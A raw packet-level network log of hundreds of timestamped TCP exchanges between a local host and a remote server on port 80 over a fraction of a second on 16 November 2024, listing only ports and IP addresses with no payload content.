Nov 16, 2024 13:01:17.766670942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.766693115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.766696930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.766726017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.766738892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.766758919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.766771078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.766793013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.766801119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.766825914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.766839027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.766860962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.766865969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.766904116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.768814087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.768847942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.768873930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.768883944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.768919945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.768935919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.768966913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.809942961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810029030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810066938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810067892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.810101032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810117006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.810138941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810148001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.810170889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810199022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.810204983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810230970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.810240984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810251951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.810275078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810291052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.810312033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810328007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.810344934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810355902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.810381889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.810390949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.810436964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.844855070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.844875097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.844890118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.845005035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.845030069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.845046043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.845061064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.845077038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.845082998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.845096111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.845139027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.845168114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.845170975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.845185995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.845216990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.845227957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.845230103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.845244884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.845297098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.845309973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.880664110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.880701065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.880747080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.880753994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.880788088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.880799055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.880821943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.880829096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.880853891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.880872011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.880878925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.880913973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.880935907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.880945921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.880971909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.880981922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.881009102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.881036043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.916785955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.916893959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.916913986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.916924000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.916975021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.916976929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917012930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917036057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917057991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917062998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917098999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917119980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917131901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917156935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917171001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917201042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917202950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917231083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917236090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917238951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917270899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917303085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917304993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917331934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917337894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917361975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917371035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917403936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917407036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917416096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917464972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917495966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917530060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917555094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917561054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917566061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917601109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917623043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917655945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917712927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917764902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917768002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917856932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917879105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917889118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917897940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917926073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917934895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.917962074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.917982101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918010950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918135881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918183088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918189049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918217897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918242931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918250084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918266058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918282986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918307066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918315887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918327093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918349981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918363094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918382883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918407917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918421030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918425083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918457985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918473959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918500900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918654919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918689013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918715000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918725967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918737888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918771982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918822050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918855906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918883085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918889999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918895006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918924093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918941021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918962002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.918972015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.918991089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919028997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.919111013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919111967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.919126034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919141054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919161081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.919183016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919187069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.919198036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919213057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919228077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919228077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.919260025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.919279099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919291973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.919294119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919307947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919327021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.919334888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919351101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.919351101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919368029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919389009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.919384003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.919404984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.919446945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.922338009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922367096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922389984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922406912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.922414064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922426939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.922430038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922445059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922461987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922472954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.922491074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.922519922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.922554016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922569036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922584057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922600031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922616959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922619104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.922631025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922631979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.922648907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922662973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.922669888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.922691107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.922733068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.923084021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923099995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923125982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923136950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.923141956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923156977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923167944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.923171043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923197031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923202991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.923211098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923222065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.923228025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923242092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923253059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.923258066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923273087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923286915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.923290014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.923309088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.923326015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924015999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924031019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924046040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924061060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924068928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924077034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924092054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924107075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924110889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924118996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924120903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924138069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924153090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924154997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924170017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924181938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924216032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924671888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924686909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924701929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924719095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924725056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924734116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924750090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924760103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924765110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924779892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924789906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924793959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924809933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924814939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924824953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924834967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924839020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924854994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924871922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924877882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924895048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.924897909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924921036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.924951077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.925426960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.925463915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.925477028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.925479889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.925514936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.925519943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.925534010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.925549030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.925558090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.925560951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.925595999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.925623894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928354025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928369999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928385019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928409100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928416967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928423882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928440094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928442001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928452969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928472996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928495884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928600073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928617954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928633928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928652048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928658009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928673983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928683996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928689003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928704023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928716898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928719044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928733110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928736925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928749084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928759098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928762913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928777933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928791046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928792000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928807974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.928829908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.928850889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.963638067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.963733912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.963773966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.963821888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.963829041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.963877916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.963881016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.963913918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.963922977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.963958025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.963965893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.964015007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.964015961 CET	80	49704	185.215.113.206	192.168.2.5
